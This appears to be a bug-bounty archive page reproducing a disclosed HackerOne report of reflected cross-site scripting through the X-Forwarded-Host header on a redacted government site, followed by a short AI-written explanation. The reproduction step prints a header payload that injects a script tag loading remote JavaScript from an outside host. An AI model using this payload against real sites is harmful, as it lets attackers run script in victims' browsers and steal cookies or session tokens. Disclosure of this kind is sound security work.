Skip to content
XSS Disclosed report Beginner

XSS via X-Forwarded-Host header

The server reflects the X-Forwarded-Host header value into the response without sanitisation, allowing an attacker to inject JavaScript. An attacker could execute arbitrary script in a victim's browser and access cookies or session tokens.

geeknik Follow

Originally disclosed on HackerOne

  • Triaged in 24 hours
  • Fixed in 12 months
  • Disclosed after 12 months

Summary: The █████ website is vulnerable to a cross-site scripting flaw if the server receives a crafted X-Forwarded-Host header.

Description: The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

Impact

This flaw allows attackers to pass rogue JavaScript to unsuspecting users. The user’s browser has no way to know the script should not be trusted, so it will execute the script and because the browser thinks the script came from a trusted source, aka your website, a malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with your site. These scripts can even rewrite the content of the HTML page. In fact, here is a list of 21 other things that hackers can do with an XSS flaw: https://s0md3v.github.io/21-things-xss/

Step-by-step Reproduction Instructions

1.Visit https://█████/████████/ whilst setting the X-Fowarded-Host header to foo"><script src=//dtf.pw/2.js></script><x=".com. 2. Notice the JavaScript alert box displaying some cookie information like so:

██████████_██████████=

Product, Version, and Configuration (If applicable)

Suggested Mitigation/Remediation Actions

Ignore invalid browser headers. Filter metacharacters from user input. Y'all know the drill.

Impact

This flaw allows attackers to pass rogue JavaScript to unsuspecting users. The user’s browser has no way to know the script should not be trusted, so it will execute the script and because the browser thinks the script came from a trusted source, aka your website, a malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with your site. These scripts can even rewrite the content of the HTML page. In fact, here is a list of 21 other things that hackers can do with an XSS flaw: https://s0md3v.github.io/21-things-xss/

The original report as published on HackerOne, by geeknik. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute rogue JavaScript in a victim's browser, potentially accessing cookies, session tokens, or other sensitive information.

What the attacker needed

Victim visits a crafted URL or request; attacker can set X-Forwarded-Host header

The fix

The application should ignore invalid browser headers and filter metacharacters from user input.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website sometimes takes a value from the request (here, a header that tells the server which hostname the client used) and puts it directly into the page it sends back. If that value contains code, the browser runs it as if it came from the site. This lets an attacker run their own script in a victim's browser and steal information like login cookies.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by geeknik

View all

79 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.